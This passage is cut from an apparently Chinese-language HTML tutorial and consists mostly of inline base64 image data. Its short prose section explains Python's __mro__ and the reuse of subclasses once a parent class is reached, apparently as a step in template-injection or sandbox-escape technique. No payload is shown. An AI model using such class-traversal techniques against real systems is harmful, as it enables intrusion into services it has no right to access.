KkLr0jNGvUfUq3pqrvoMFq1bqtruxydk2Ke/76iPwDW0qSfvlxt35O26m4Z1+S3V6kzZ+sUceu3fXIs/MdLSaduvfU3x8YrG83fqlrwvvo2hv6qqGPrwKDW6vXrQMkSYcP5uqdl56T0RSiv7+dLOMfqyr3uvVOvTB+lN6cPU2Xd7paxuDWks6GqB7979DYmc/L06uerr/jLuXl5Gjzp2t038QpihwVJ4PBoO433aLZfx2mn9N3quB4/kVbcVAzEBYAAECl2payzjGwubxrJrRoZdKzyaslXXzMgl9AoMJ6hGvTJ6vVLaK/dqZuUFnGK+zesU2Hsn/T8MeedAQFSfL0qqd+0UP01QfvaXvKOt08eKgaNm6sT99dItPl7XVdn36q16CBIiJjL7qadfOWQTqU/ZtWvDpX94wer4CgYPk289NzK0p+m3/j3dF6KX6cMtJ3OsJC6kcfqGmLFurYpZu86tdXE39/ff3Rh/rwn6/pliEj1Kx5gFq1aavXUrZdsIa96d/J9vMeRY0e7wgKktTIt4nuGP6gnh33gHbv2OYIC5LU7ab+8vSqd/bn4eml9ldfq2+++lyde/WWwWCQdHZweYtWJu3abiUs1CKEBQAAUGm2pazTpk9W640NOzQ5ZoBj+yPPzi+1OFrxIOjbhj6gyFEPOz3eoZxs+Tbz08xlllLrLJzrjuEP6tWpE7X/l73a8dUXCusRLr+AC4eFg7/tV4OGDWW6vH2p51q2biM/Y6AOZu9XgClEUaPH661nntILjzwkSTK1baebooboxrujLniem6OH6tuN67UuebnWJS+Xp1c99bzldt0cfZ/CeoTLw9NTktTpuh5q0cqkjWss6nrjTTp2OE/fpn6la8JvVIApRAaDQYMeitOe775VUmKCkhIT5NOkia6//W7dHHOfLu90teMm/s+yMn6SJBUWntGmT1aXeO63X3+Rp6eXcvdlldju9UdQOJfBYJDBw6PEY08vbi1rG95RAABQabpF9Fe3iP5OZz5yNkOSq5jatpOPb1Mtef5pZWf9ovsnP1Wh4xUVFqmo6OwAZIPBoNuGPqDr77hb1s8+1sY1q5S+dbOWvjhL77z0nCa98sZ5r6d5y1aatXyVMtK+1YbVFlk//0Rfr/1AX6/9QF373KT4l16TdyMf+RkD1S2iv7Z89pEO7t8n294M/fbrL/rLlBmOEND2qlC9vPZLpW1J1VcfWrRjwxf6NGmpPk1aqtvv+4v+8sQMpzWcOXNGkrTqjVfPe7379l569y/UToQFAADgFpW59oF3Ix/dNXKMY4xEcSvEhTRv2UonT5yQ7ec9pfbPsWXqyIEDah7YyrHNt5mf+kUPUb/oISoqLNSOjSlK+NtopViS1aVPhDw9nd9meXh6qsM1XdXhmq4aOXWmjh3O0+t/n6wt6z7S3l3puuo6swwGg8z9btPH77yt3d9s1c5NGxV0WVu1C7umxLE8verpmutv1DXX33i2zqxfNTd+nDZ9skYDH/ir6nt7lzr/ZVdeJUl6/JU31LP/HRf9uaBuYzYkAADgFjtTN+jY4bxS25clzC4xherQLu2Ukb6z1H6WRQscU6we2L9Pk6Juc+ybl5utRU8/cUn1dOzSTf6BLfVp0tIS038Wnjmtz1f+S0X2Il1zfR+lbflaf+kVphRLkmMfD09PBV/eQQ19fFWvfn15eHiWOv7JghOaFz9OU2IHlrhu32Z+atWmrTzreale/fqO7e2vvkbtO3fRx++8rV3fWNXrtoFq4ucvSTqad0hP3jdIL4wfpcIzpx2vad4qSM0DW8nD00Ne9erL4OEhTy8vFZ4545ihyHR5e/kHttQn7ywucZ12u12r3nhVg0NDtGG15ZJ+dqi9aFkAAABVruB4vnZ89YVOnjihtUvfLDF+YVj81FJjFgqO52v68Cilb90kSZoUdZuGxU/Ve7v3OcYsTEp8S+1COzu6NwUGt9azyas1b+I4WRYtOO84iGIBphANfOCvWvzc05pwVz/dNXKMvBs20kfL39LeXem69d4R6ti1u34/ckRNmwdo4bRJ+mHHNoX1vEG/H87T2qVv6sihA4q4J1YGg0EFx/P1zOgR2pP2H8cYi07de2rjmlWaNuwe3Tb0fjVu5qfvNm3Q5++9q+v69FPrDh0d9TTybaIuvSOUnJggr3r1de0NfR3P+Tbz0+WhnbVmyRt6euQQ9bkrSvUaNNDmT9doy7qPdOeIh+Qf2FInTxxXi5ZBStuSqk+Tliq0ey8Ft+ugB6fO1It/G+24Tt9mfrJ+9rE2fbJanXv11nU39nPBu4zagLAAAACq3EfL31Z21q964d+f6LmHR8qyaIH6Doo+7/7ejXz09NL3Lnrc4qAgSRPmviq/gEBNmPuqY9uFAoPBYNDAB0ar/dXXaukLs/XW7GmSzo5/iJ/3D/W85U55eHqqafMW+vvbSfrX/Oe14UOL1iUvl8HDQ1dee51mzZ6rjl27n/cct8QOV1P/5nr35RcdLR9Nm7fQoAfHavC4CaW6DfW69U6tWbJIHTp3VduOoSVqvX/SNLVq01bvv7lQrz4ZL0kKCArWQ9Nm65bYYTIYDPJu5KPIUQ/r5cmP6vW/T1bU6PEaOmGyevS/Q08vWanlc+fon3Oekr2o6GwdD41T9JhH1bCx70V/1qgbDHa7fYsks7sLAQDAVXYdOKYfDuWriIWhKl1UxyDFzZl30SlDzx3M7GcM1LRhkRo8bqIiRz18zg2+XccO5zm2l1Vxy8Llna6W9fNPHNOsnjsrUUb6zhLnrCl+/Wm3nrxvkIY8+n+6/b6/uLscl0ixJClxygS9t3ufu0up9TwMBoW28FUH//MvRngRVsYsAACASpORvlNDu7TTQ727KDC4tdqFddbiZ2eo160DHDftfgGBei1lq0ZNn6OTJ06UGrMQ1TFIoyO6O51Rqdixw3nKzspUaPdemr9mfanpS9uFdtbMZRateHVuidWjqzO73a6v136gBg0b0S0IbkM3JAAAUGmcrcJ8vu5E3SL6l+vb5rKu9FzeFaGr2rHDeVq58CXt/2Wvtq//TNFj/6aAcxZPA6oSYQEAAJSb0RSiHFvWxXdEmdVv0EC2n/dox4YU9R4QqbtHjjnvAms1UY4tS2HmcHeXgTIiLAAAgHIzmkKUS1hwqQYNG+nJRcvdXUalybVl0VJSgzBmAQAAlFsncy+lW1PdXQZqED4vNQthAQAAlFuYuZdybJncAKJMUixJyrFlKiZuortLQRkRFgAAQLmFmsMVZg5XimWFu0tBDZBu3SzpbPc11AyEBQAAUCF9Iwcr3ZqqHFumu0tBNZZjy1SKJUlxc+a5uxRcAsICAACokFBzuIymECUnznV3KajGFkyZoDBz+EUX8EP1QlgAAAAVYjSFKCZuolIsSUpKTHB3OaiG0q2pSrOmMlahBiIsAACACgs1hysmLl7rLckMdkYJ6dZUTR8RrZi4eIWyvkKNQ1gAAAAuEREZo1BzuBKnTGD8AiSdHacwfUS0wszhio2Ld3c5KAfCAgAAcIni7khGU4ieGhGtFEuSu0uCG6VbUzW2Xw+FmcM1Y8lKd5eDciIsAAAAlzGaQvTwnHnqGxmj5MS5jGGoo5ISEzR9RLQiImMJCjWcl7sLAAAAtYvRFOLocpKcmKD1lmTFzZlHf/U6IMeWqQVTJvwxmDmerke1gMFut2+RZHZ3IQAAuMquA8f0w6F8Fdnt7i6lziu+ecyxZSrUHK5Qc0+mzqxlzq6fkKxcW5ZSLEkKM4fr4TnzWHitGvAwGBTawlcd/H3KewgrYQEAUOsQFqqfFEuS1ltWKM2a6riJNJpCFMANZY2Va8tUzh9/JCnMHK6+kYMJg9UIYQEAACcIC9VXji3zj9Wes5Rry1JuLZ01qeB4vnJsWWoZ0kb1vb3dXU6lCDCFKMAULEl0N6qmXBEWGLMAAACqjNEUImMd+OZ57640PRZ5i5559wO1atPW3eUA5cZsSAAAAACcIiwAAAAAcIqwAAAAAMApwgIAAAAApwgLAAAAAJwiLAAAAABwirAAAAAAwCnCAgAAAACnCAsAAAAAnCIsAAAAAHCKsAAAAADAKcICAAAAAKcICwAAAACcIiwAAAAAcIqwAAAAAMApwgIAAAAApwgLAAAAAJwiLAAAAABwirAAAAAAwCnCAgAAAACnCAsAAAAAnCIsAAAAAHCKsAAAAADAKcICAAAAAKcICwAAAACcIiwAAAAAcIqwAAAAAMApwgIAAAAApwgLAAAAAJwiLAAAAABwirAAAAAAwCkvdxcAAABQ0yUlJijXlul4fOzIYUnS0hdnq1HjxufsaVDcnHlVXB1QfoQFAACACkrbvFHfb9tSavuWdWtLPA4zh1dVSYBL0A0JAACggm6KurdM+/WNHFzJlQCuRVgAAACooIjIWDX1b3HBfZq1CFBEZGwVVQS4BmEBAADABbre2E+ens57eHt4euqWe0dUcUVAxREWAAAAXCDU3FOFhWecPldUWKgwc68qrgioOMICAACAC0RExqpZiwCnz/kFGBXK4GbUQIQFAAAAF+nS+ybVq1+/xDZPr3rqHzvcTRUBFUNYAAAAcJGIyME6fepUiW2FZ07TBQk1FmEBAADARULN4fILMJbY5m9sSRck1FiEBQAAABe69oYINWjY0PH45pj73FgNUDGEBQAAABeKiByskydOnPM4xo3VABVDWAAAAHChUHO4/I0tJUnNA1vJaApxc0VA+REWAAAAXKy461G/wUPdXAlQMYQFAAAAFyue/Sg2Lt7NlQAV43xNcgAAgEqQY8uUJOX+8Xdt1vaqUKVbU91dRpVgtqfai7AAAAAqVbo1VWnWTUpOTHB3KVVu+ohod5dQZYymEIWawxUROZjwUIsQFgAAQKVISkxwBASjKUQxcfEKM/dSgCmEQb+1xLktRTm2TK23rND0EdEymkLUNzKGbli1gMFut2+RZHZ3IQAAuMquA8f0w6F8Fdnt7i6lTsqxZWrBlAlKs6YqJi6eG8Y6JseWqRRLspITE2Q0hWjGkpWEQzfxMBgU2sJXHfx9ynsIKwOcAQCAy6RbUzW2Xw/l2DK18PMtBIU6yGgKUWxcvBZ+vkWS9NSIaKVYktxcFcqLsAAAAFwixZKk6SOiFREZq4Wfb+Hb5DquuFWhb2SMkhPnKqkOjlmpDRizAAAAKizFkqTEKRPodoQSilsZJDnGr/D5qFkICwAAoELSrakEBVxQ8edivSVZYeZezJZUg9ANCQAAlFuOLVPTR0QrzBxOUMAFxcbFq29kjBKnTHDMooTqj7AAAADKbcGUCQozh2vGkpXuLgU1QERkjIymECUnznV3KSgjwgIAACiXs4utpSombqK7S0ENcXa9jYlKsSTVmdWtazrCAgAAKJfkxLmKiIyl/zkuSag5XGHmcFoXagjCAgAAuGTFrQoRkYPdXQpqoJi4iUqzptK6UAMQFgAAwCVLsayQJFoVUC4Bf6zBkWbd5OZKcDGEBQAAcMnSramKiIx1dxl1Ukb6To2O6KaM9J1On7csWiDLogVVXNWlMZpCFGYO1/eEhWqPsAAAAMqlka+vhnZp5/Sm9ZXJj+qVyY+6oaqz8nKzNTqiu8tvmguO52v68ChNHx6lguP5Lj12Wa1d+qYkg/yNgaWeKzierx1ffaEVr849b5i4mG0p6xTVMUijI7orLze73HUW/6zO9xnpZO7FFKo1AGEBAABcsgvd5BUcz1euLatcx3XVt+IZaTt17PAhdQ7vfd59im+Kz/2zLWXdBY/r3chHE+a+quysX/XR8rcrXGcxy6IFpWqJ6hhUKpRkpO/Upk9W67ahD8gvoHRYKK7Pt5n/H6Hi0mSk79TciWPUolWQjh0+pPWryj8l7v+3d/9BUd/5Hcdf3nQaBJ2LVuByK3fNYDLpLcNoB+Xg6h2cpXpT5ypVuFappuaoQXSoMDWgF43kVGIHHEZQc1ysKCYVZfAcE+PRFO8ygUOZM2ch5+XCpBXWDIuVa5Uf6R9H/8Dv1+/ufnfZBcyCeT5m+GN3v9/vfvbLP5/X9/N5fz41pTvUebVVnw4N2bYlxjF/3NfGZ4cdnAEAwLg8/kfzJvV6XZ3XdeZwhRYkLNR31j2ri6eOq658b8BzHps5Uy/XNSremWi+Nzw4oPPHjipl+Uo5nozXrr9brc6rvtNd0lZlqeHGLdvrNtZUj/nddeV7/R5TcqRWSekZGh4c0L5N622/3yqnaKfftli9dfI1zX58rtJWrRmznZfPndHlc2c83ktblaWtZZW2x3d1XteLOZlKWb5SW8sq1d7cpIrC55WYutTj/gbjUHGBWi9d0IGGtyVJL+Zkan7808rMzTePiXHEMbIwDRAWAABASB5GB6+/r1cHtjxndlQlKTM336NzGSzXx13q7fkvbSjerYjIKJWebPD43OjAB2J8t3Fsb89NldVfsH2a39/Xq+LslYqd/xXtePWEIiKjzM/svl960DGX5BN2/DFGFbI2F5rtsN6jYNoa6NrWoCBJSekZytpcqBdzMoNuo/QgKFjPebmu0fy94/mfInyYhgQAAEJS+8oeSdKpg2X6dGhI21ev0OpnvqxL/3pCm9IXa92fPqXOq626fO7MmNNqpNFO7sHCzUpITvX71DsUb518TbHzvyrHk/ETvlZEZJR2vHpCsfO/ovy/SPWZe28EBUnaVnHYIyj4097cpO2rVyhrc6Fev9bl0wm3K2AeHhxQbdkec1TBqAew1oV0tLWo82qrcnftM4NCMNO6rO3xvv+ZuflmYBirBsJok3dQkKR4Z6JermvUmcMVYa1lQegYWQAAACHZ8MJu/eKnb2ndtmKdPVrp0TFc/jfrzSfc0Y75Hp3PQ8UFPrUMRmfbCApdndd19vBBFfxzVVAdb2/G0/cFCQvH/fsOFRf4TN8xbF+9wu9531+6yON1TtFOn6foRkfZbsqRcS9uf+LSHz/zNfW7eyXn6GcXTx1X59VWlRyp1ZzoWLU3N42+3lhrnltTukNpq7KUlJ5hXrOn60O1XrpgO5XI+D991PG+DjS87XfkIDM3X4mpS/ViTqayNhfajgwYIxMLEhbq2HvXFREZpUPFBUpZvtJsT7wzUcfeu659m9Zr7aJ4/X3JHr/3ElMHYQEAAIRNXfk+rVj7rNkBfevka/pVy8/l+tj3iftYjKfvnw4NTahNW8sqJ2WEw6q9uUn78zaYr/2FEelBvYNV3IKnJcnjGjlFO83j6sr33X9vh8d5OUU71NHWotqyPR5TpIz2pK3K0raKw2ZI8ce5OEXVP23RwcLNOnO4wgyI1poMa7uHBwc0c9Ys7c/b4PG+MS3Lej+GBwfGFQzx2SAsAACASTU0cE+9PTe16JvfHvNYa6e8vblJl8+dUcmR2pCDgjQ6Dae356aci1NCPteOdwc/GHYF19breH9u/SxQ8XFSeoYabtzyGLUxApa1RsC7TmFOdKxWrH1WdeV7dfHUcWXm5psjPKd++Vuzk/5q89Wgfl/pyQZzFGHZ6r/VOw1vKGX5SjWc9BwpiYiM0vd/sFdD9+6povB5n3uSlJ6h0hNntWv9Gm38RmJINRH4bBEWAADAhHz0H+/rwJaN+tZfZelnPzmrF6qPhXwNYxqN8bQ8mNWIrLaWVeqNygPK3bVPrZcujHvpVm92nX9/jNWDvBkdfW/GdCfn4hTzqb9RX+CvCNgIRNsqDpvfaYxSBJoiJUlnDlcoMXXphEdN4p2Jev1alyTpuR/8MOCxubv2afDu/wY8xrgWpibCAgAAGJdTB8skSe+9+RNVvvkzRURGaWbULP3TXy+X9GDqzFiMAufbn7jMc/ythORd42Bob25SQnKqktIz1Hrpgvl+oPoDXfWdDuQdDowC7mA9NnPmmMdYV0+yPt031JXv1bWf/7vPykr9fb16o/IVba96zRxBsAaRxppq8zxJ2rdpvRZ989vKzM03v/N6y7uKdyZ61EdYzXvCobL60fvnb2qSNdyMJSIySi9U/8uYx2HqIiwAAICgDQ8OqKIwT5LMAmdjiVJptJMft+Bp7c/boPPHjiohOXXMTqWxeddEJKVn+Mzzl+zrD/wVYNuZjJEFq8aaar39+nG/S5ta7591eo4RqP7zxgce4cWuiNrOnOhY26lG1nqC9uYm1ZR61zx4Xt8IJFbGtKRQa0UysnNCOh7hQVgAAABBi4iMUmHFEeUtS/Z7TOulC5r3hEOSxpyPfqi4QB1tLfqHl8r0o5eKH0qbJ2KyRha8O9TeKycF+u6SI7WKT0hUb8/NgOGlp+tDRTvmKyIyymd52ofJOi1pLMZ9mP34XC38s2+pqb7uIbcOE0VYAAAAk6a/r1cdbS3mNKH25iYd2PKcObXFcKi4QP83PKz/+e/bKqu/oK6OwGv4h4t359wYlfjuxud9RjL8jSy0Nzfp/LGj5pKidufYBYD+vl79MHedPvzVL5WUnhGwCHl4cEB9rp6gisrDxRoUyuov6NbH1CpMB2zKBgAAJk1Xx3Xd/sSllOWjG5UZnVy7KTd/GBGh0pMNIe00/FlKSs8wn5gbm6T197kV7Ziv/Xkb1N7cZHu8d6c/KT1DpScbNDRwT0Wr/tzv5mbeG63NiY5V+bl/09p/fME8pr+vV5vSF/tsctfR1qKPOt5XYupSv7+nsabadlO8yWJtm/dGcN5BYar+z+GLsAAAACbF8OCAzh87KufiFCUkp/p8Pj9+tHh5aOCe+lw95uup6FBxgTalL1Z/X6/H+0989UltLatUyZFanT92VMODA2YnubGmWu3NTbY7Vbc3N5lTj/rdnte02lC8Wx1tLVq7KN4jVDTWVGv1M19WcfZKldVfUMONW2q4ccsMITWlO5S1ufChLz/a0/Wh38+Muoicop2qK99r3j/rhm2Vb14mKEwzTEMCAACT4uKp4/qo4329XNdoW9Qct+Bpvf36cfX3udXbczPo1ZI+a8Yu0IUVRzUnOlZ33L26+7t+jx2VrQXVHW0tuvu7O+YuyT9+95qKs1fq4qnj+s66Z203LbMTERmleGeiXm2+qvbmJm1fvcJcecjf6lDGPg3+Cp2tnXtrTcPQwD1J8tlHwqg1sfJexrbkSG3AovXM3HzzdxsBKZQVlDC1EBYAAMC4zX58rubGxKq9uUl15XuVU7TT79PtOTGxkkb02+vXNOuLX1R8QuhPwUc77neCHpUIuLGazdKpzsUpmhv7JS1IWGiOjsQ7E5WyfGXADdqsv9t4wt7f16uCv0xTQnKqx6Zl3su5pq3Ksp26ZISOmtIdfld06u25qR+/e83naX1EZJS+u/F57c/bYH6XUX9hNdZqSJL/ZWwDMXZqNkYVentuamjgHmFhGiIsAACAkNS+skfS6D4LaauyJMncUC1QpzLemaiE5G/oRy8VK6doZ1DTUez2A5j3hENpq9YE1VZ/G6KFym4J1rH4W6402Gv5O1960BkPJNBvt7u2dbTEe/rVeBkrJR0qLjCnUDENaXqZMTIy0iZpSbgbAgDAZPn17bv6zZ0B/X5kJNxNeSS5Xd3KW5as0hNn5VziW5sABKO58bSqSrZNSpiDvS/MmCHnvNl6au64R3SuUOAMAABCEuOIkzQaGgA82ggLAAAgZDGOOLldPeFuBqYxt6tHCYxMTXmEBQAAELIYR5w+uNIa7mZgGutz9Sj6/igVpi7CAgAACFlaZhbTkDAhzY2n5Vzy9XA3A2MgLAAAgJA5l6TK7epW55WWcDcF01Bz42lJUnrm98LcEoyFsAAAAEIW44hTwpJUVZVsC3dTMA3VV1UQFKYJwgIAABiX/P0H5XZ1m0+JgWCcriqX29Wt7C2F4W4KgkBYAAAA4xLjiFP2liLVV1VQv4CguF3dqq8qV/aWInMJXkxthAUAADBu6ZnZinHEaff64HZUxudbdck2JSxJ1fe2FIW7KQgSYQEAAIxbjCNO+fsPShL1Cwho9/o1cru6tefE2XA3BSEgLAAAgAmJccRpz4mzam48zQgDfLhd3dq9fo06rrRoy/1giemDsAAAACYsxhGnI++0ye3qVt6yZGoYIGk0KFSXbJPb1a3SE2flZMfmaYewAAAAJoUxwiCNTjk5XVUe5hYhnE5XlStvWbIk6cg7bQSFaYqwAAAAJo0RGNIys1V/v7PI0qqfH25XtxkSjFWPqFGY3maMjIy0SVoS7oYAADBZfn37rn5zZ0C/HxkJd1M+10b3YKhXfVW5YhxxinHEKdoRJ+eSr4e7aZhEblePJOmDK63quL+jd/aWIlY8mgK+MGOGnPNm66m5UeO9xBXCAgDgkUNYmFrcrm51XmlR55VfqM/VLff9PzxaZOw3AAAA5klEQVQajP0SYhxx+tqSFELCFEJYAADABmEBACYnLFCzAAAAAMAWYQEAAACALcICAAAAAFuEBQAAAAC2CAsAAAAAbBEWAAAAANgiLAAAAACwRVgAAAAAYIuwAAAAAMDWH4S7AQAAPAxfmvVYuJsAANMeYQEA8Mj5k3mzw90EAHgkMA0JAAAAgC3CAgAAAABbhAUAAAAAtggLAAAAAGwRFgAAAADYIiwAAAAAsEVYAAAAAGCLsAAAAADAFmEBAAAAgC3CAgAAAABbhAUAAAAAtggLAAAAAGwRFgAAAADYIiwAAAAAsPX/QT+2c6da0jEAAAAASUVORK5CYII=" alt=image.png referrerpolicy=no-referrer layer-index=0><br>
还有比如</p>
<h3 blockindex=14><strong>mro</strong></h3>
<p blockindex=15>在 Python 中,<strong>MROMethod Resolution Order</strong> 指的是类继承层次结构中搜索方法或属性的顺序。</p>
<p blockindex=16>可以通过类的 <code>__mro__</code> 属性查看其方法解析顺序。<code>__mro__</code> 是一个元组,包含了类继承层次结构中从当前类到最高父类(通常是 <code>object</code>)的所有类。在拿到父类之后就可以通过subclasses故技重施了<br>
<img src="data:image/png;base64,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